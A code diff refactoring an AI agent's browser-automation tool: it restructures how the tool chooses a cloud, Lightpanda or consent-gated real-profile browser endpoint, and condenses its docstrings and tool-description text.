"to auto to use local Chrome." - ) - env["BU_CDP_URL" if cdp.startswith(("http://", "https://")) else "BU_CDP_WS"] = cdp - env[_PRIVATE_BROWSER_SENTINEL] = "1" - return None + err = _export_session_cdp( + env, _get_session_info, _backend_cache_key(task_id, session_name), + lambda e: (f"Lightpanda could not be started: {e} Set browser.engine to auto " + "to use local Chrome, or switch backends via `hermes tools` → Browser Automation."), + "Lightpanda session returned no CDP endpoint. Set browser.engine to auto to use local Chrome.", + ) + if err is None: + env[_PRIVATE_BROWSER_SENTINEL] = "1" + return err -def _resolve_backend_cdp( - env: dict, task_id: Optional[str], session_name: str = "" -) -> Optional[str]: - """Point the harness at the configured browser backend's CDP endpoint. +def _resolve_backend_cdp(env: dict, task_id: Optional[str], session_name: str = "") -> Optional[str]: + """Point the harness at the configured backend's CDP endpoint; error string on failure. - Resolution order (first hit wins): - - 1. ``BU_CDP_WS`` / ``BU_CDP_URL`` already in the environment — explicit - user/operator override, passed through untouched. - 2. ``BROWSER_CDP_URL`` env / ``browser.cdp_url`` config override — the - ``/browser connect`` path, same precedence the built-in tools honor. - 3. A configured cloud browser provider (Browserbase, Firecrawl, Nous - gateway/Browser Use cloud, …): reuse the legacy stack's - ``_get_session_info()`` so browser_exec shares the SAME provider - session machinery — per-task session cache, expiry replacement, - inactivity reaper, and atexit cleanup — instead of duplicating it. - 4. ``browser.engine: lightpanda``: a Hermes-spawned ``lightpanda serve`` - per session key, through the same ``_get_session_info()`` machinery - (see :func:`_resolve_lightpanda_cdp`). - 5. Nothing configured: return None; the harness attaches to local - Chrome (or Browser Use cloud via BU_AUTOSPAWN for legacy configs). - - ``session_name`` (the tool's ``session`` argument / BU_NAME) keys the - provider session cache when set, so every distinct name gets its OWN - cloud browser and the same name reuses one — that is what makes named - sessions actually concurrent-safe on provider backends instead of all - names sharing a single per-task browser. - - Returns an error string on provider failure, None on success. + Precedence (first hit wins): (1) ``BU_CDP_WS``/``BU_CDP_URL`` already in env + (operator override, untouched); (2) ``BROWSER_CDP_URL`` env / ``browser.cdp_url`` + config (``/browser connect``, same precedence as the built-in tools); (3) a + cloud provider via the legacy ``_get_session_info()`` so browser_exec shares the + SAME session machinery (per-task cache, expiry replacement, reaper, atexit); + (4) ``browser.engine: lightpanda``; (5) nothing → None, the harness attaches to + local Chrome (or BU cloud via BU_AUTOSPAWN for legacy configs). ``session_name`` + (BU_NAME) keys the provider cache so each name gets its OWN cloud browser and + the same name reuses one — what makes named sessions concurrent-safe. """ - if env.get("BU_CDP_WS") or env.get("BU_CDP_URL"): + if _has_cdp_env(env): return None try: - from tools.browser_tool import ( - _get_cdp_override, - _get_cloud_provider, - _get_session_info, - ) + from tools.browser_tool import _get_cdp_override, _get_cloud_provider, _get_session_info except Exception as e: # pragma: no cover — stubbed browser_tool in tests logger.debug("browser_tool backend resolution unavailable: %s", e) return None @@ -595,7 +465,7 @@ def _resolve_backend_cdp( except Exception: override = "" if override: - env["BU_CDP_URL" if override.startswith(("http://", "https://")) else "BU_CDP_WS"] = override + _set_cdp_env(env, override) return None try: @@ -606,94 +476,53 @@ def _resolve_backend_cdp( if provider is None: return _resolve_lightpanda_cdp(env, task_id, session_name) - # Browser Use direct-API configs: the CLI talks to Browser Use cloud - # natively (BU_AUTOSPAWN / auth login) — routing through the legacy - # provider here would just create a second, redundant session. The - # Nous-gateway variant (use_gateway: true) DOES resolve through the - # provider: the gateway provisions the cloud browser server-side and + # Browser Use direct-API configs: the CLI talks to BU cloud natively + # (BU_AUTOSPAWN / auth login) — the legacy provider would create a second, + # redundant session. The Nous-gateway variant (use_gateway: true) DOES resolve + # through the provider: the gateway provisions the browser server-side and # returns its CDP URL, giving subscribers CLI mode with no raw key. provider_key = str(getattr(provider, "name", "") or "").strip().lower() - if provider_key == _BACKEND_KEY and not is_truthy_value( - _read_browser_cfg().get("use_gateway"), default=False - ): - # Named BU cloud browsers are exclusive to their daemon — no shared - # tab to isolate from. - env[_PRIVATE_BROWSER_SENTINEL] = "1" + if provider_key == _BACKEND_KEY and not is_truthy_value(_read_browser_cfg().get("use_gateway"), default=False): + env[_PRIVATE_BROWSER_SENTINEL] = "1" # named BU cloud browsers are exclusive to their daemon return None - try: - # Named sessions get their OWN provider browser, keyed by name so the - # same name reuses one browser across calls and tasks, and different - # names never collide. Unnamed calls keep the per-task key. - cache_key = _backend_cache_key(task_id, session_name) - session_info = _get_session_info(cache_key) - except Exception as e: - return ( - f"Cloud browser provider {type(provider).__name__} failed to " - f"provide a session: {e}. Fix the provider configuration or " - "switch backends via `hermes tools` → Browser Automation." - ) - cdp = str((session_info or {}).get("cdp_url") or "") - if not cdp: - return ( - f"Cloud browser provider {type(provider).__name__} returned no " - "CDP endpoint, so Browser Use mode cannot drive it. Switch to " - "the built-in browser tools for this provider." - ) - env["BU_CDP_URL" if cdp.startswith(("http://", "https://")) else "BU_CDP_WS"] = cdp + provider_name = type(provider).__name__ + err = _export_session_cdp( + env, _get_session_info, _backend_cache_key(task_id, session_name), + lambda e: (f"Cloud browser provider {provider_name} failed to provide a session: {e}. " + "Fix the provider configuration or switch backends via `hermes tools` → Browser Automation."), + f"Cloud browser provider {provider_name} returned no CDP endpoint, so Browser Use mode " + "cannot drive it. Switch to the built-in browser tools for this provider.", + ) # A provider browser keyed bu-named- is exclusive to this session — - # the own-tab preamble is unnecessary there (it would just leak a blank - # tab into a browser nobody else touches). - if session_name: + # the own-tab preamble would just leak a blank tab into it. + if err is None and session_name: env[_PRIVATE_BROWSER_SENTINEL] = "1" - return None + return err def _real_profile_consented() -> bool: """Whether the user opted in to real-profile local browsing (config read).""" - try: - from tools.browser_tool import _use_real_profile - - return _use_real_profile() - except Exception as e: # pragma: no cover — stubbed browser_tool in tests - logger.debug("real-profile consent lookup failed: %s", e) - return False + return _lazy_call("tools.browser_tool", "_use_real_profile", False, "real-profile consent lookup failed") def _resolve_real_profile_cdp(env: dict, force_local: bool) -> Optional[str]: """Point the harness at the user's real-profile copy-browser when consented. - With ``browser.use_real_profile`` on, local browsing must mean the user's - default Chromium with their logins — a browser Hermes launches on a - SNAPSHOT of their real profile (see hermes_cli.browser_connect). Two ways - in: - - - the effective backend is already local (no cloud provider, no CDP - override, no legacy Browser Use cloud config): every local attach - upgrades to the real profile, silently — this is requirement one; or - - ``force_local`` (the consent-gated ``local`` tool arg): the model was - asked to drive the user's actual browser even though a cloud backend - is configured. The cloud backend keeps serving everything else. - - Explicit operator overrides (BU_CDP_WS/BU_CDP_URL env, /browser connect, - ``browser.cdp_url``) own the session either way, matching the built-in - lane's precedence. - - Sets BU_CDP_URL/BU_CDP_WS on success. Returns an error string when the - real-profile launch fails (fail closed — a consented user is never - silently downgraded to a throwaway browser), else None. + With ``browser.use_real_profile`` on, local browsing means the user's default + Chromium with their logins — Hermes launches on a SNAPSHOT of the real profile + (hermes_cli.browser_connect). Two ways in: the effective backend is already + local (no provider, CDP override, or legacy BU cloud config) → silent upgrade; + or ``force_local`` (consent-gated ``local`` arg) → the user's browser even under + a cloud backend. Operator overrides (BU_CDP_* env, /browser connect, + ``browser.cdp_url``) own the session either way. Fail closed: a real-profile + launch error is returned so a consented user is never silently downgraded. """ - if not _real_profile_consented(): - return None - if env.get("BU_CDP_WS") or env.get("BU_CDP_URL"): + if not _real_profile_consented() or _has_cdp_env(env): return None try: - from tools.browser_tool import ( - _get_cdp_override_raw, - _get_cloud_provider, - _real_profile_cdp, - ) + from tools.browser_tool import _get_cdp_override_raw, _get_cloud_provider, _real_profile_cdp except Exception as e: # pragma: no cover — stubbed browser_tool in tests logger.debug("real-profile backend resolution unavailable: %s", e) return None @@ -705,9 +534,8 @@ def _resolve_real_profile_cdp(env: dict, force_local: bool) -> Optional[str]: pass if not force_local: - # Only auto-upgrade genuinely-local attaches; any cloud path (provider - # or legacy Browser Use cloud config) stays on its backend unless the - # model passes local=true. + # Only auto-upgrade genuinely-local attaches; any cloud path (provider or + # legacy BU cloud config) stays on its backend unless the model passes local=true. try: if _get_cloud_provider() is not None: return None @@ -720,20 +548,55 @@ def _resolve_real_profile_cdp(env: dict, force_local: bool) -> Optional[str]: if err: return err if cdp: - env["BU_CDP_URL" if cdp.startswith(("http://", "https://")) else "BU_CDP_WS"] = cdp + _set_cdp_env(env, cdp) return None -def browser_exec( - code: str, - session: str = "", - timeout_s: int = _DEFAULT_TIMEOUT_S, - task_id: Optional[str] = None, - local: bool = False, -): +def _route_backend(env: dict, session: str, task_id: Optional[str], local: bool) -> Optional[str]: + """Resolve where the harness connects; returns an error string or None. + + Real-profile consent runs BEFORE provider resolution so a real-profile hit + short-circuits the cloud path via the BU_CDP_* env contract. Named sessions + compose with the backend: BU_NAME namespaces the harness daemon (IPC socket, + log, pid) and on provider backends additionally keys its own cloud browser. + """ + rp_err = _resolve_real_profile_cdp(env, force_local=local) + if rp_err: + return rp_err + # local=True is only served by the real-profile route; consent off (schema + # normally hidden, but be explicit) must not pretend. + if local and not _has_cdp_env(env) and not _real_profile_consented(): + return ("local=true was requested but browser.use_real_profile is off. " + "Enable it in config.yaml (browser.use_real_profile: true) or " + "the desktop Settings → Browser section, then retry.") + return _resolve_backend_cdp(env, task_id, session_name=session) + + +def _windows_popen_kwargs() -> dict: + """Hide the console the .cmd shim would flash on Windows (as browser_tool does).""" + if os.name != "nt": + return {} + try: + from hermes_cli._subprocess_compat import windows_hide_flags + si = subprocess.STARTUPINFO() + si.dwFlags |= subprocess.STARTF_USESHOWWINDOW + return {"creationflags": windows_hide_flags(), "startupinfo": si} + except Exception as e: + logger.debug("Windows hide-flags unavailable: %s", e) + return {} + + +def _clamp_timeout(timeout_s: Any) -> int: + try: + return max(_MIN_TIMEOUT_S, min(int(timeout_s), _MAX_TIMEOUT_S)) + except (TypeError, ValueError): + return _DEFAULT_TIMEOUT_S + + +def browser_exec(code: str, session: str = "", timeout_s: int = _DEFAULT_TIMEOUT_S, + task_id: Optional[str] = None, local: bool = False): """Run Python code through the browser-use CLI, and return its output""" from tools.registry import tool_error, tool_result - if not code or not code.strip(): return tool_error("No code provided. Pass Python that uses the pre-imported helpers, e.g. new_tab(\"https://example.com\") then print(page_info()).") @@ -743,56 +606,24 @@ def browser_exec( cmd = _find_cli() if not cmd: - return tool_error( - "browser-use CLI not found on PATH, and uvx is unavailable for a " - "zero-install run. Install it with `uv tool install browser-use` " - "(or `pipx install browser-use`), then run `browser-use --doctor` " - "to verify the setup." - ) + return tool_error("browser-use CLI not found on PATH, and uvx is unavailable for a " + "zero-install run. Install it with `uv tool install browser-use` " + "(or `pipx install browser-use`), then run `browser-use --doctor` " + "to verify the setup.") env = _base_subprocess_env() if session: if not _SESSION_RE.match(session): - return tool_error( - f"Invalid session name {session!r}: use 1-64 letters, digits, " - "dashes, or underscores (e.g. 'r7k2')." - ) + return tool_error(f"Invalid session name {session!r}: use 1-64 letters, digits, " + "dashes, or underscores (e.g. 'r7k2').") env["BU_NAME"] = session - # Real-profile consent: on a local backend this upgrades the attach to - # the user's default browser (profile snapshot, logins included); with - # local=True it forces that even under a cloud backend. Runs BEFORE - # provider resolution so a real-profile hit short-circuits the cloud - # path via the BU_CDP_* env contract. - rp_err = _resolve_real_profile_cdp(env, force_local=bool(local)) - if rp_err: - return tool_error(rp_err) - if local and not (env.get("BU_CDP_URL") or env.get("BU_CDP_WS")): - # local=True is only served by the real-profile route; anything else - # (consent off — schema normally hidden, but be explicit; or an - # operator CDP override owning the session) must not pretend. - if not _real_profile_consented(): - return tool_error( - "local=true was requested but browser.use_real_profile is off. " - "Enable it in config.yaml (browser.use_real_profile: true) or " - "the desktop Settings → Browser section, then retry." - ) - # Route through the configured browser backend (Browserbase, Firecrawl, - # Nous gateway, CDP override, local Chrome, …). Named sessions compose - # with the backend: BU_NAME namespaces the harness daemon (its IPC - # socket, log, and pid), and on provider backends the name additionally - # keys its own cloud browser — so concurrent sessions stop clobbering - # each other's daemon (#86894). Browser Use direct-API cloud configs - # are the one exception: the CLI manages named cloud browsers natively, - # and _resolve_backend_cdp skips provider resolution for them. - backend_err = _resolve_backend_cdp(env, task_id, session_name=session) - if backend_err: - return tool_error(backend_err) + route_err = _route_backend(env, session, task_id, bool(local)) + if route_err: + return tool_error(route_err) - # On a SHARED browser (local Chrome / CDP override) a fresh named daemon - # attaches to the first existing page — the same page a sibling daemon - # may hold. Pin each named session to a tab it created before running - # the model's code. Private per-name browsers (provider-keyed or BU - # cloud) skip this: no one to collide with, and the extra tab would leak. + # SHARED browser (local Chrome / CDP override): pin each named session to its + # own tab (see _OWN_TAB_PREAMBLE). Private per-name browsers skip this — no one + # to collide with, and the extra tab would leak. private_browser = env.pop(_PRIVATE_BROWSER_SENTINEL, None) if session and not private_browser: code = _OWN_TAB_PREAMBLE + code @@ -806,59 +637,30 @@ def browser_exec( if "BU_AUTOSPAWN" not in env and is_legacy_browser_use_cloud_config(_read_browser_cfg()): env["BU_AUTOSPAWN"] = "1" - try: - timeout = max(_MIN_TIMEOUT_S, min(int(timeout_s), _MAX_TIMEOUT_S)) - except (TypeError, ValueError): - timeout = _DEFAULT_TIMEOUT_S - - # Windows: hide the console the .cmd shim would flash (as browser_tool does) - popen_extra: dict = {} - if os.name == "nt": - try: - from hermes_cli._subprocess_compat import windows_hide_flags - - popen_extra["creationflags"] = windows_hide_flags() - _si = subprocess.STARTUPINFO() - _si.dwFlags |= subprocess.STARTF_USESHOWWINDOW - popen_extra["startupinfo"] = _si - except Exception as e: - logger.debug("Windows hide-flags unavailable: %s", e) - + timeout = _clamp_timeout(timeout_s) started = time.time() try: proc = subprocess.run( - cmd, - input=code, - capture_output=True, - text=True, - timeout=timeout, - env=env, - **popen_extra, + cmd, input=code, capture_output=True, text=True, timeout=timeout, env=env, + **_windows_popen_kwargs(), ) except subprocess.TimeoutExpired: - return tool_error( - f"browser-use exec timed out after {timeout}s. The daemon may " - "still be working; retry with a larger timeout_s (max " - f"{_MAX_TIMEOUT_S}), or split the work into several calls that " - "append to workspace files — anything already written to the " - "workspace is preserved." - ) + return tool_error(f"browser-use exec timed out after {timeout}s. The daemon may " + f"still be working; retry with a larger timeout_s (max {_MAX_TIMEOUT_S}), " + "or split the work into several calls that append to workspace files — " + "anything already written to the workspace is preserved.") except OSError as e: return tool_error(f"Failed to launch browser-use CLI: {e}") - result = { - "success": proc.returncode == 0, - "exit_code": proc.returncode, - "output": proc.stdout, - } + result = {"success": proc.returncode == 0, "exit_code": proc.returncode, "output": proc.stdout} if workspace: result["workspace"] = workspace if session: result["session"] = session stderr = (proc.stderr or "").strip() + if len(stderr) > _STDERR_CAP_CHARS: + stderr = stderr[:_STDERR_CAP_CHARS] + "\n… (stderr truncated)" if stderr: - if len(stderr) > _STDERR_CAP_CHARS: - stderr = stderr[:_STDERR_CAP_CHARS] + "\n… (stderr truncated)" result["stderr"] = stderr screenshot = _find_screenshot(proc.stdout, started) @@ -870,7 +672,6 @@ def browser_exec( return tool_result(result) -# The tool description is the CLI's skill, fetched from browser-use skill _HEADER_BASE = ( "Drive a real web browser via the Browser Use CLI: `code` runs as full " "Python (stdlib available) with pre-imported browser helpers; stdout " @@ -907,10 +708,10 @@ _HEADER_TEXT_ONLY = ( "clicks — skip the screenshot-driven workflow described below." ) -# Appended when the local engine is Lightpanda (browser.engine). Lightpanda -# has no graphical renderer, and one CDP connection holds one page: a second -# Target.createTarget fails with TargetAlreadyLoaded -# (lightpanda-io/browser#1962) — drop the new_tab() sentence once that lands. +# Appended when the local engine is Lightpanda (browser.engine): no graphical +# renderer, and one CDP connection holds one page — a second +# Target.createTarget fails with TargetAlreadyLoaded (drop the new_tab() +# sentence once lightpanda-io/browser#1962 lands). _HEADER_LIGHTPANDA = ( " The local engine is Lightpanda (no graphical renderer, one page per " "session): capture_screenshot() is unavailable, so work text-first; " @@ -918,52 +719,10 @@ _HEADER_LIGHTPANDA = ( "later navigation — a second new_tab() fails with TargetAlreadyLoaded." ) -_DESCRIPTION_HEADER = _HEADER_BASE # back-compat alias for external imports - -# NOTE: browser_exec is additionally gated at tool-definition time — sessions -# whose resolved toolsets do not include ``terminal`` never see it (see -# model_tools._compute_tool_definitions). The check_fn registered below only -# answers "is Browser Use mode configured"; surface policy lives with the -# session, not in the process-wide TTL-cached check_fn. - - -def _description_header() -> str: - """Header tailored to whether the active model can see images natively""" - if _lightpanda_engine_in_use(): - # No screenshots at all on Lightpanda: the vision workflow cannot - # apply, whatever the model can see. - return _HEADER_BASE + _HEADER_TEXT_ONLY + _HEADER_LIGHTPANDA - try: - from tools.vision_tools import _should_use_native_vision_fast_path - - if _should_use_native_vision_fast_path(): - return _HEADER_BASE + _HEADER_VISION - except Exception: - pass - return _HEADER_BASE + _HEADER_TEXT_ONLY - - -def _lightpanda_engine_in_use() -> bool: - try: - from tools.browser_tool import lightpanda_engine_status - - return lightpanda_engine_status()[0] - except Exception as e: - logger.debug("lightpanda engine status unavailable: %s", e) - return False - -_skill_text_cache: Optional[str] = None -_skill_text_fetched = False - -# Pinned quick-reference for the CLI's pre-imported helpers. Replaces the -# live ``browser-use skill`` fetch: embedding whatever text the installed CLI -# version prints would ship uncontrolled third-party content into every -# session's system-side schema (version drift across machines, supply-chain -# exposure, and a byte-unstable prompt). A/B benchmarked Aug 2026 (108 runs, -# opus-4.8 + kimi-k3, 6 multi-step tasks x 3 reps): header-only schema went -# 36/36 vs 36/36 for the full skill dump at ~equal tokens (-60% vs the -# legacy browser_* toolset either way). The pinned digest below keeps the -# first-call reliability of the helper names without the 7.7KB dump. +# Pinned quick-reference for the CLI's pre-imported helpers, replacing the live +# ``browser-use skill`` fetch (which would ship uncontrolled third-party text into +# every schema: version drift, supply-chain exposure, byte-unstable prompt). A/B +# benchmarked: header-only matched the full skill dump at ~equal tokens. _HELPERS_DIGEST = ( "\n\nHELPERS (pre-imported): new_tab(url) opens/navigates (use for the " "FIRST navigation), goto_url(url) navigates the current tab, " @@ -981,36 +740,44 @@ _HELPERS_DIGEST = ( "tab. Login walls: stop and ask the user; never guess credentials." ) +# NOTE: browser_exec is additionally gated at tool-definition time — sessions whose +# toolsets lack ``terminal`` never see it (model_tools._compute_tool_definitions). +# The check_fn below only answers "is Browser Use mode configured"; surface policy +# lives with the session, not in the process-wide TTL-cached check_fn. -def _cli_skill_text() -> str: - """Deprecated: always returns "" — the schema uses the pinned header. - Kept so tests and any external callers keep importing a stable symbol; - see _HELPERS_DIGEST for the rationale (benchmark-backed removal of the - live ``browser-use skill`` fetch). - """ - return _skill_text_cache or "" +def _lightpanda_engine_in_use() -> bool: + return _lazy_call("tools.browser_tool", "lightpanda_engine_status", (False, ""), + "lightpanda engine status unavailable")[0] + + +def _description_header() -> str: + """Header tailored to whether the active model can see images natively""" + if _lightpanda_engine_in_use(): # no screenshots at all, whatever the model can see + return _HEADER_BASE + _HEADER_TEXT_ONLY + _HEADER_LIGHTPANDA + try: + from tools.vision_tools import _should_use_native_vision_fast_path + if _should_use_native_vision_fast_path(): + return _HEADER_BASE + _HEADER_VISION + except Exception: + pass + return _HEADER_BASE + _HEADER_TEXT_ONLY def _dynamic_schema_overrides() -> dict: overrides: dict = {"description": _description_header() + _HELPERS_DIGEST} - # The ``local`` argument exists ONLY when the user consented to - # real-profile browsing — everyone else's schema carries zero extra - # surface. get_definitions() applies this at schema-build time, and the - # caller memoizes on config.yaml mtime, so toggling consent changes the - # schema on the next session rather than mid-conversation. + # ``local`` exists ONLY when the user consented to real-profile browsing — + # everyone else's schema carries zero extra surface. The caller memoizes on + # config.yaml mtime, so toggling consent applies next session, not mid-chat. if _real_profile_consented(): props = dict(BROWSER_EXEC_SCHEMA["parameters"]["properties"]) props["local"] = { "type": "boolean", - "description": ( - "Drive the user's own local browser (a Hermes-managed copy of " - "their real default-Chromium profile, logins/cookies included) " - "instead of the configured cloud browser backend. Use when the " - "user asks to act as themselves — their accounts, their " - "sessions. No-op when the backend is already local. Default " - "false." - ), + "description": ("Drive the user's own local browser (a Hermes-managed copy of " + "their real default-Chromium profile, logins/cookies included) " + "instead of the configured cloud browser backend. Use when the " + "user asks to act as themselves — their accounts, their " + "sessions. No-op when the backend is already local. Default false."), "default": False, } overrides["parameters"] = {**BROWSER_EXEC_SCHEMA["parameters"], "properties": props}